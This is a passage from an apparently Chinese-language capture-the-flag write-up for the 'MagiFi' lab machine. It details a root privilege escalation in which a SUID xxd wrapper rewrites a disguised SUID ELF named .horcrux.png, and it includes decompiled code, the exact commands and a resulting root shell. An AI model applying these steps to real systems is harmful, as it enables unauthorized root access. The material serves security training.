\/usr\/bin\/xxd_horcrux\n\/usr\/bin\/xxd_horcrux: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, BuildID[sha1]=799f1a6493adebe255b6dd77392d2439fe149f13, for GNU\/Linux 3.2.0, not stripped<\/code><\/pre>\n<p>\u53d1\u73b0\u4e86\u4e00\u4e2a<code>SUID<\/code>\u6587\u4ef6\uff0c\u4e0b\u8f7d\u5230\u672c\u5730\u53cd\u7f16\u8bd1\u770b\u4e00\u4e0b\uff1a<\/p>\n<blockquote>\n<p>\u5b9e\u9645\u4e0a\u6709\u4e24\u4e2a\uff0c\u6211\u662f\u5230\u540e\u9762\u624d\u53d1\u73b0\u7684\uff01<code>xxd_horcrux<\/code>\u548c<code>.horcrux.png<\/code><\/p>\n<\/blockquote>\n<pre><code class=\"language-bash\"># wget http:\/\/192.168.10.108:8888\/xxd_horcrux\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Magifi]\n\u2514\u2500$ pwn checksec xxd_horcrux      \n[*] &#039;\/home\/kali\/temp\/Magifi\/xxd_horcrux&#039;\n    Arch:       amd64-64-little\n    RELRO:      Full RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        PIE enabled\n    SHSTK:      Enabled\n    IBT:        Enabled\n    Stripped:   No<\/code><\/pre>\n<p>\u770b\u5230\u5168\u7eff\u65f6\u5019\u7684\u6551\u8d4e\u611f\uff0c\u6574\u4e2a\u4eba\u90fd\u4e0d\u597d\u7684\u611f\u89c9\u3002\u3002\u3002\u3002\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338006.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338006.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250622213837472\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u8fd9\u5c31\u610f\u5473\u7740\uff0c\u8fd9\u5982\u679c\u662f\u4e2a pwn \u5c31\u522b\u602a\u6211\u4e0d\u8bb2\u6b66\u5fb7\u4e86\u3002<\/p>\n<pre><code class=\"language-c\">int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  __int64 v3; \/\/ rbp\n  unsigned int v4; \/\/ eax\n  int result; \/\/ eax\n  int i; \/\/ [rsp-28h] [rbp-28h]\n  unsigned int v7; \/\/ [rsp-24h] [rbp-24h]\n  const char *v8; \/\/ [rsp-20h] [rbp-20h]\n  _QWORD *v9; \/\/ [rsp-10h] [rbp-10h]\n  __int64 v10; \/\/ [rsp-8h] [rbp-8h]\n\n  __asm { endbr64 }\n  v10 = v3;\n  v8 = 0LL;\n  v4 = sub_1170(argc, argv, envp);\n  v9 = (_QWORD *)sub_1150(v4);\n  if ( v9 &amp;&amp; !(unsigned int)sub_11A0(*v9, &quot;tom.riddle&quot;) )\n  {\n    if ( argc &gt; 1 &amp;&amp; (unsigned int)sub_11A0(argv[1], &quot;-h&quot;) &amp;&amp; (unsigned int)sub_11A0(argv[1], &quot;--help&quot;) )\n    {\n      for ( i = 1; i &lt; argc; ++i )\n      {\n        if ( !(unsigned int)sub_11A0(argv[i], &quot;-O&quot;) &amp;&amp; argc &gt; i + 1 )\n        {\n          v8 = argv[i + 1LL];\n          argv[i] = 0LL;\n          argv[i + 1LL] = 0LL;\n          break;\n        }\n        if ( !(unsigned int)sub_1130(argv[i], &quot;\/root\/&quot;, 6LL) || !(unsigned int)sub_1130(argv[i], &quot;\/etc\/&quot;, 5LL) )\n        {\n          sub_11F0(&quot;I hate dealing with Muggle gadgets!\\n&quot;, 1LL, 36LL, stderr);\n          return 1;\n        }\n      }\n      if ( v8 )\n      {\n        if ( (unsigned int)sub_11A0(v8, &quot;.horcrux.png&quot;) )\n        {\n          sub_11F0(&quot;Not every wizards can use or destroy a Horcrux!\\n&quot;, 1LL, 48LL, stderr);\n          result = 1;\n        }\n        else\n        {\n          v7 = sub_11B0(v8, 577LL, 384LL);\n          if ( (v7 &amp; 0x80000000) == 0 )\n          {\n            if ( (signed int)sub_1180(v7, 1LL) &gt;= 0 )\n            {\n              sub_1190(v7);\n              sub_11D0(&quot;\/usr\/bin\/xxd&quot;, argv);\n              sub_11C0(&quot;Error executing xxd&quot;);\n            }\n            else\n            {\n              sub_11C0(&quot;Error redirecting output to file&quot;);\n              sub_1190(v7);\n            }\n            result = 1;\n          }\n          else\n          {\n            sub_11C0(&quot;Error opening output file&quot;);\n            result = 1;\n          }\n        }\n      }\n      else\n      {\n        sub_11F0(&quot;Error: Output file can&#039;t be empty, use the -O option.\\n&quot;, 1LL, 54LL, stderr);\n        show_help();\n        result = 1;\n      }\n    }\n    else\n    {\n      show_help();\n      result = 1;\n    }\n  }\n  else\n  {\n    sub_11F0(&quot;You are not worthy to handle the Horcrux!\\n&quot;, 1LL, 42LL, stderr);\n    result = 1;\n  }\n  return result;\n}<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338007.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338007.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250622214927379\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u4f3c\u4e4e\u662f\u5229\u7528<code>xxd<\/code>\u5bf9<code>.horcrux.png<\/code>\u8fdb\u884c\u5904\u7406\uff0c\u8ba9 AI \u8bfb\u4e00\u4e0b\uff01<\/p>\n<ul>\n<li>\n<p><strong>\u8eab\u4efd\u9a8c\u8bc1<\/strong>\uff1a\u68c0\u67e5\u7a0b\u5e8f\u662f\u5426\u7531\u7528\u6237 <code>tom.riddle<\/code> \u8fd0\u884c<\/p>\n<\/li>\n<li>\n<p><strong>\u547d\u4ee4\u884c\u53c2\u6570\u89e3\u6790<\/strong>\uff1a\u8981\u6c42\u81f3\u5c11\u4e00\u4e2a\u53c2\u6570\uff08<code>argc &gt; 1<\/code>\uff09\uff0c\u4e14\u9700\u5305\u542b <code>-h<\/code> \u6216 <code>--help<\/code> \u9009\u9879<\/p>\n<\/li>\n<li>\n<p><strong>\u6587\u4ef6\u8def\u5f84\u5b89\u5168\u68c0\u6d4b<\/strong>\uff1a\u7981\u6b62\u64cd\u4f5c <code>\/root\/<\/code> \u6216 <code>\/etc\/<\/code> \u8def\u5f84\u7684\u6587\u4ef6<\/p>\n<\/li>\n<li>\n<p><strong>\u8f93\u51fa\u6587\u4ef6\u5904\u7406<\/strong>\u901a\u8fc7 <code>-O<\/code> \u9009\u9879\u6307\u5b9a\u8f93\u51fa\u6587\u4ef6\uff08\u5982 <code>-O output.txt<\/code>\uff09<\/p>\n<ul>\n<li>\u6587\u4ef6\u6269\u5c55\u540d\u4e0d\u80fd\u662f <code>.horcrux.png<\/code>\uff08\u4f3c\u4e4e\u4e0d\u5bf9\uff0c\u5e94\u8be5\u662f\u5fc5\u987b\u4e3a\u8fd9\u4e2a\uff09<\/li>\n<li>\u5c1d\u8bd5\u4ee5\u5199\u6a21\u5f0f\u6253\u5f00\u6587\u4ef6\uff0c\u5931\u8d25\u5219\u62a5\u9519<\/li>\n<\/ul>\n<\/li>\n<li>\n<p><strong>\u6570\u636e\u8f6c\u50a8\u64cd\u4f5c<\/strong>\uff1a\u6587\u4ef6\u6253\u5f00\u6210\u529f\u540e\uff0c\u8c03\u7528 <code>\/usr\/bin\/xxd<\/code>\uff08\u5341\u516d\u8fdb\u5236\u67e5\u770b\u5de5\u5177\uff09\u5904\u7406\u6570\u636e<\/p>\n<\/li>\n<li>\n<p><strong>\u7edf\u4e00\u9519\u8bef\u5904\u7406<\/strong>\uff1a\u6240\u6709\u5206\u652f\u5747\u8fd4\u56de <code>1<\/code>\uff0c\u8868\u793a\u7a0b\u5e8f\u5f02\u5e38\u7ec8\u6b62<\/p>\n<\/li>\n<\/ul>\n<p>\u7ec8\u7aef\u770b\u4e00\u4e0b\u5565\u60c5\u51b5\uff1a<\/p>\n<pre><code class=\"language-bash\">tom.riddle@MagiFi:\/usr\/bin$ cd ~\ntom.riddle@MagiFi:~$ ls -la\ntotal 44\ndrwxr-xr-x 3 tom.riddle tom.riddle  4096 Feb  4 09:57 .\ndrwxr-xr-x 7 root       root        4096 Sep 27  2024 ..\nlrwxrwxrwx 1 root       root           9 Sep 27  2024 .bash_history -&gt; \/dev\/null\n-rw-r--r-- 1 tom.riddle tom.riddle   220 Feb 25  2020 .bash_logout\n-rw-r--r-- 1 tom.riddle tom.riddle  3771 Feb 25  2020 .bashrc\ndrwx------ 2 tom.riddle tom.riddle  4096 Feb  4 09:57 .cache\n-rwsr-x--x 1 root       tom.riddle 17136 Jun 22 13:58 .horcrux.png\n-rw-r--r-- 1 tom.riddle tom.riddle   807 Feb 25  2020 .profile\ntom.riddle@MagiFi:~$ file .horcrux.png \n.horcrux.png: setuid data\ntom.riddle@MagiFi:~$ \/usr\/bin\/xxd_horcrux -h\nUsage:\n       xxd [options] [infile [outfile]]\n    or\n       xxd -r [-s [-]offset] [-c cols] [-ps] [infile [outfile]]\nOptions:\n    -a          toggle autoskip: A single &#039;*&#039; replaces nul-lines. Default off.\n    -b          binary digit dump (incompatible with -ps,-i,-r). Default hex.\n    -C          capitalize variable names in C include file style (-i).\n    -c cols     format &lt;cols&gt; octets per line. Default 16 (-i: 12, -ps: 30).\n    -E          show characters in EBCDIC. Default ASCII.\n    -e          little-endian dump (incompatible with -ps,-i,-r).\n    -g          number of octets per group in normal output. Default 2 (-e: 4).\n    -h          print this summary.\n    -i          output in C include file style.\n    -l len      stop after &lt;len&gt; octets.\n    -o off      add &lt;off&gt; to the displayed file position.\n    -ps         output in postscript plain hexdump style.\n    -r          reverse operation: convert (or patch) hexdump into binary.\n    -r -s off   revert with &lt;off&gt; added to file positions found in hexdump.\n    -s [+][-]seek  start at &lt;seek&gt; bytes abs. (or +: rel.) infile offset.\n    -u          use upper case hex letters.\n    -v          show version: &quot;xxd V1.10 27oct98 by Juergen Weigert&quot;.\n    -O &lt;file&gt;   specify output file (only horcruxes are allowed).\ntom.riddle@MagiFi:~$ xxd -h\nUsage:\n       xxd [options] [infile [outfile]]\n    or\n       xxd -r [-s [-]offset] [-c cols] [-ps] [infile [outfile]]\nOptions:\n    -a          toggle autoskip: A single &#039;*&#039; replaces nul-lines. Default off.\n    -b          binary digit dump (incompatible with -ps,-i,-r). Default hex.\n    -C          capitalize variable names in C include file style (-i).\n    -c cols     format &lt;cols&gt; octets per line. Default 16 (-i: 12, -ps: 30).\n    -E          show characters in EBCDIC. Default ASCII.\n    -e          little-endian dump (incompatible with -ps,-i,-r).\n    -g          number of octets per group in normal output. Default 2 (-e: 4).\n    -h          print this summary.\n    -i          output in C include file style.\n    -l len      stop after &lt;len&gt; octets.\n    -o off      add &lt;off&gt; to the displayed file position.\n    -ps         output in postscript plain hexdump style.\n    -r          reverse operation: convert (or patch) hexdump into binary.\n    -r -s off   revert with &lt;off&gt; added to file positions found in hexdump.\n    -s [+][-]seek  start at &lt;seek&gt; bytes abs. (or +: rel.) infile offset.\n    -u          use upper case hex letters.\n    -v          show version: &quot;xxd V1.10 27oct98 by Juergen Weigert&quot;.<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\u5e2e\u52a9\u548c xxd \u4e00\u6a21\u4e00\u6837\uff0c\u770b\u4e00\u4e0b\u8fd9\u4e2a<code>SUID<\/code>\u6587\u4ef6<code>.horcrux.png<\/code>:<\/p>\n<pre><code class=\"language-bash\">tom.riddle@MagiFi:~$ file .horcrux.png\n.horcrux.png: setuid data\ntom.riddle@MagiFi:~$ xxd -l 50 .horcrux.png \n00000000: 8950 4e47 0201 0100 0000 0000 0000 0000  .PNG............\n00000010: 0300 3e00 0100 0000 a011 0000 0000 0000  ..&gt;.............\n00000020: 4000 0000 0000 0000 303b 0000 0000 0000  @.......0;......\n00000030: 0000<\/code><\/pre>\n<p>\u53d1\u73b0\u662f\u4e00\u4e2a<code>.png<\/code>\u6587\u4ef6\u5934\uff0c\u4f46\u662f\u6587\u4ef6\u5185\u5bb9\u53d1\u73b0\u662f\u4e00\u4e2a<code>ELF<\/code>\uff1a<\/p>\n<pre><code class=\"language-bash\">tom.riddle@MagiFi:~$ strings .horcrux.png \n\/lib64\/ld-linux-x86-64.so.2\nrmCJ\nzDcq\nlibc.so.6\nsetuid\nexit\nperror\nputs\n__stack_chk_fail\nread\nmemcmp\nsystem\nclose\nopen\n__cxa_finalize\nsetgid\n__libc_start_main\nGLIBC_2.4\nGLIBC_2.2.5\n_ITM_deregisterTMCloneTable\n__gmon_start__\n_ITM_registerTMCloneTable\nu+UH\n[]A\\A]A^A_\n\/proc\/self\/exe\nError opening the file\nNot every magician can use or destroy a Horcrux!\n\/bin\/bash                                 # \u597d\u4e1c\u897f\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\n:*3$&quot;\nGCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0\ncrtstuff.c\nderegister_tm_clones\n__do_global_dtors_aux\ncompleted.8061\n__do_global_dtors_aux_fini_array_entry\nframe_dummy\n__frame_dummy_init_array_entry\nhorcrux.c\n__FRAME_END__\n__init_array_end\n_DYNAMIC\n__init_array_start\n__GNU_EH_FRAME_HDR\n_GLOBAL_OFFSET_TABLE_\n__libc_csu_fini\n_ITM_deregisterTMCloneTable\nputs@@GLIBC_2.2.5\n_edata\n__stack_chk_fail@@GLIBC_2.4\nsystem@@GLIBC_2.2.5\nclose@@GLIBC_2.2.5\nread@@GLIBC_2.2.5\n__libc_start_main@@GLIBC_2.2.5\nmemcmp@@GLIBC_2.2.5\n__data_start\n__gmon_start__\n__dso_handle\n_IO_stdin_used\n__libc_csu_init\n__bss_start\nmain\nsetgid@@GLIBC_2.2.5\nopen@@GLIBC_2.2.5\nperror@@GLIBC_2.2.5\nexit@@GLIBC_2.2.5\n__TMC_END__\n_ITM_registerTMCloneTable\nsetuid@@GLIBC_2.2.5\n__cxa_finalize@@GLIBC_2.2.5\n.symtab\n.strtab\n.shstrtab\n.interp\n.note.gnu.property\n.note.gnu.build-id\n.note.ABI-tag\n.gnu.hash\n.dynsym\n.dynstr\n.gnu.version\n.gnu.version_r\n.rela.dyn\n.rela.plt\n.init\n.plt.got\n.plt.sec\n.text\n.fini\n.rodata\n.eh_frame_hdr\n.eh_frame\n.init_array\n.fini_array\n.dynamic\n.data\n.bss\n.comment<\/code><\/pre>\n<p>\u53d1\u73b0\u6709<code>\/bin\/bash<\/code>\uff0c\u4e0b\u8f7d\u5230\u672c\u5730\u8fdb\u884c\u53cd\u7f16\u8bd1\u770b\u770b\uff0c\u5f53\u7136\uff0c\u9700\u8981\u5148\u4fee\u6539\u4e00\u4e0b\u6587\u4ef6\u5934\uff0c\u4e0d\u7136\u8bc6\u522b\u4e0d\u4e86\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338008.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338008.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250622222943045\" style=\"zoom:33%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338009.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338009.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250622223002067\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p>\u4fee\u6539\u4e3a<code>ELF<\/code>\u6587\u4ef6\u5934\u5373\u53ef\uff01<code>7f 45 4c 46<\/code><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338010.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338010.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250622223119174\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0<code>ida64<\/code>\u53ef\u4ee5\u6253\u5f00\u4e86\uff0c\u770b\u4e00\u4e0b\u5185\u5bb9\u662f\u4ec0\u4e48\uff1a<\/p>\n<pre><code class=\"language-c\">int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  __int64 v3; \/\/ rbp\n  int result; \/\/ eax\n  unsigned __int64 v5; \/\/ rdx\n  unsigned __int64 v6; \/\/ rt1\n  unsigned int v7; \/\/ [rsp-1Ch] [rbp-1Ch]\n  signed int v8; \/\/ [rsp-18h] [rbp-18h]\n  int v9; \/\/ [rsp-14h] [rbp-14h]\n  unsigned __int64 v10; \/\/ [rsp-10h] [rbp-10h]\n  __int64 v11; \/\/ [rsp-8h] [rbp-8h]\n\n  __asm { endbr64 }\n  v11 = v3;\n  v10 = __readfsqword(0x28u);\n  v8 = 1179403647;\n  v7 = sub_1160(&quot;\/proc\/self\/exe&quot;, 0LL, envp);\n  if ( (v7 &amp; 0x80000000) != 0 )\n  {\n    sub_1170(&quot;Error opening the file&quot;);\n    sub_1180(1LL);\n  }\n  sub_1130(v7, &amp;v9, 4LL);\n  sub_1120(v7);\n  if ( (unsigned int)sub_1140(&amp;v9, &amp;v8, 4LL) )\n  {\n    sub_10F0(&quot;Not every magician can use or destroy a Horcrux!&quot;);\n    sub_1180(1LL);\n  }\n  sub_1190(0LL);\n  sub_1150(0LL);\n  sub_1110(&quot;\/bin\/bash&quot;);\n  result = 0;\n  v6 = __readfsqword(0x28u);\n  v5 = v6 ^ v10;\n  if ( v6 != v10 )\n    result = sub_1100(&quot;\/bin\/bash&quot;, &amp;v8, v5);\n  return result;\n}<\/code><\/pre>\n<ul>\n<li><strong>\u521d\u59cb\u5316\u5b89\u5168\u673a\u5236<\/strong>\uff1a\u901a\u8fc7 <code>__readfsqword(0x28u)<\/code> \u8bbe\u7f6e\u6808\u4fdd\u62a4\uff08Stack Canary\uff09<\/li>\n<li><strong>\u81ea\u68c0\u53ef\u6267\u884c\u6587\u4ef6<\/strong>\uff1a\u5c1d\u8bd5\u8bfb\u53d6 <code>\/proc\/self\/exe<\/code>\uff08\u5f53\u524d\u8fdb\u7a0b\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\uff09\u7684\u7279\u5b9a\u6570\u636e\u3002<\/li>\n<li><strong>\u6821\u9a8c\u201c\u9b54\u6cd5\u6570\u5b57\u201d<\/strong>\uff1a\u68c0\u67e5\u6587\u4ef6\u4e2d\u662f\u5426\u5305\u542b\u9884\u8bbe\u503c <code>1179403647<\/code>\uff08\u7528\u4e8e\u9a8c\u8bc1\u7a0b\u5e8f\u5b8c\u6574\u6027\uff09\u3002<\/li>\n<li><strong>\u6743\u9650\u63a7\u5236<\/strong>\uff1a\u6821\u9a8c\u5931\u8d25\u5219\u63d0\u793a\u6743\u9650\u9519\u8bef\u5e76\u9000\u51fa\uff1b\u6210\u529f\u5219\u542f\u52a8 Shell\uff08<code>\/bin\/bash<\/code>\uff09<\/li>\n<\/ul>\n<p>\u770b\u4e0a\u53bb\u4f3c\u4e4e\u6709pwn\u7684\u53ef\u80fd\uff0c\u4f46\u662f\u8fd9\u91cc\u660e\u663e\u4e0d\u662f\u8003\u8fd9\u4e2a\u7684\uff0c\u5e94\u8be5\u5c31\u662f\u8003\u4fee\u590d\u6587\u4ef6\u5934\uff0c\u7136\u540e\u5229\u7528xxd\u8f6c\u53d8\u6587\u4ef6\u5c5e\u4e3b\uff0c\u518d\u6267\u884c bash\u3002<\/p>\n<h5>\u731b\u653b\uff01\uff01\uff01\uff01<\/h5>\n<pre><code class=\"language-bash\">tom.riddle@MagiFi:~$ ls -la\ntotal 44\ndrwxr-xr-x 3 tom.riddle tom.riddle  4096 Feb  4 09:57 .\ndrwxr-xr-x 7 root       root        4096 Sep 27  2024 ..\nlrwxrwxrwx 1 root       root           9 Sep 27  2024 .bash_history -&gt; \/dev\/null\n-rw-r--r-- 1 tom.riddle tom.riddle   220 Feb 25  2020 .bash_logout\n-rw-r--r-- 1 tom.riddle tom.riddle  3771 Feb 25  2020 .bashrc\ndrwx------ 2 tom.riddle tom.riddle  4096 Feb  4 09:57 .cache\n-rwsr-x--x 1 root       tom.riddle 17136 Jun 22 14:31 .horcrux.png\n-rw-r--r-- 1 tom.riddle tom.riddle   807 Feb 25  2020 .profile<\/code><\/pre>\n<p>\u6709\u53ef\u8bfb\u6743\u9650\uff0c\u5c1d\u8bd5\u4fee\u6539\u6587\u4ef6\u540d\uff0c\u4f7f\u5176\u7ed5\u8fc7\u540e\u7f00\u7684\u6821\u6838\uff1a<\/p>\n<pre><code class=\"language-bash\">tom.riddle@MagiFi:~$ cp .horcrux.png \/tmp\/2bash\ntom.riddle@MagiFi:~$ ls -la \/tmp\/2bash\n-rwxr-x--x 1 tom.riddle tom.riddle 17136 Jun 22 14:39 \/tmp\/2bash\ntom.riddle@MagiFi:~$ cd \/tmp\ntom.riddle@MagiFi:\/tmp$ xxd \/tmp\/2bash &gt; \/tmp\/2bash.hex\ntom.riddle@MagiFi:\/tmp$ vim 2bash.hex \ntom.riddle@MagiFi:\/tmp$ head -n 1 2bash.hex \n00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .PNG............\ntom.riddle@MagiFi:\/tmp$ xxd -r 2bash.hex 2bash.elf     # \u8fd9\u91cc\u7528\u4e8e\u9a8c\u8bc1\ntom.riddle@MagiFi:\/tmp$ file 2bash.elf                 # \u9a8c\u8bc1\uff01\uff01\uff01\uff01\n2bash.elf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, BuildID[sha1]=726d434af07a44637117b403a1b829eafaabdcc6, for GNU\/Linux 3.2.0, not stripped<\/code><\/pre>\n<p>\u6211\u4f7f\u7528\u7684\u65b9\u6cd5\u662f\u5229\u7528<code>xxd<\/code>\uff08\u53ef\u80fd\u8fd9\u4e5f\u662f\u63d0\u793a\u7684\u4e00\u90e8\u5206\uff09\u901a\u8fc7 <code>xxd<\/code> \u5c06\u6587\u4ef6\u8f6c\u4e3a\u53ef\u8bfb\u5341\u516d\u8fdb\u5236\u6587\u672c\uff0c\u4fee\u6539\u540e\u8f6c\u56de\u4e8c\u8fdb\u5236\uff0c\u6240\u4ee5\u540e\u9762\u90a3\u4e2a\u5c06\u5341\u516d\u8fdb\u5236\u8f6c\u5316\u4e3a\u4e8c\u8fdb\u5236\u7684\u547d\u4ee4\u53ef\u4ee5\u7528<code>SUID<\/code>\u6587\u4ef6<code>xxd_horcrux<\/code>\u8fdb\u884c\u64cd\u4f5c\uff0c\u7528\u4e8e\u8f93\u51fa\u5c5e\u4e3b\u4e3a<code>root<\/code>\u7684\u6b63\u786e\u4e8c\u8fdb\u5236\u6587\u4ef6<code>.horcrux.png<\/code>\u3002<\/p>\n<pre><code class=\"language-bash\">tom.riddle@MagiFi:\/tmp$ whereis xxd_horcrux\nxxd_horcrux: \/usr\/bin\/xxd_horcrux\ntom.riddle@MagiFi:\/tmp$ \/usr\/bin\/xxd_horcrux -r 2bash.hex -O .horcrux.png\ntom.riddle@MagiFi:\/tmp$ ls -la .\/.horcrux.png \n-rw------- 1 root tom.riddle 17136 Jun 22 15:15 .\/.horcrux.png<\/code><\/pre>\n<p>\u5c45\u7136\u6ca1\u6267\u884c\u6743\u9650\u3002\u3002\u3002\u3002\u3002\u5c1d\u8bd5\u5728\u5bb6\u76ee\u5f55\u4e0b\u8fdb\u884c\u3002\u3002\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-bash\">tom.riddle@MagiFi:~$ \/usr\/bin\/xxd_horcrux -r \/tmp\/2bash.hex -O .horcrux.png\ntom.riddle@MagiFi:~$ ls -la\ntotal 48\ndrwxr-xr-x 3 tom.riddle tom.riddle  4096 Jun 22 15:14 .\ndrwxr-xr-x 7 root       root        4096 Sep 27  2024 ..\nlrwxrwxrwx 1 root       root           9 Sep 27  2024 .bash_history -&gt; \/dev\/null\n-rw-r--r-- 1 tom.riddle tom.riddle   220 Feb 25  2020 .bash_logout\n-rw-r--r-- 1 tom.riddle tom.riddle  3771 Feb 25  2020 .bashrc\ndrwx------ 2 tom.riddle tom.riddle  4096 Feb  4 09:57 .cache\n-rwsr-x--x 1 root       tom.riddle 17136 Jun 22 15:24 .horcrux.png\n-rw-r--r-- 1 tom.riddle tom.riddle   807 Feb 25  2020 .profile\n-rw------- 1 tom.riddle tom.riddle  1184 Jun 22 15:14 .viminfo\ntom.riddle@MagiFi:~$ .\/.horcrux.png \nbash: .\/.horcrux.png: cannot execute binary file: Exec format error\ntom.riddle@MagiFi:~$ \/usr\/bin\/xxd_horcrux -r \/tmp\/2bash.hex -O .horcrux.png\ntom.riddle@MagiFi:~$ .\/.horcrux.png \nroot@MagiFi:~# whoami;id\nroot\nuid=0(root) gid=0(root) groups=0(root),1004(tom.riddle)<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338011.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338011.png\" 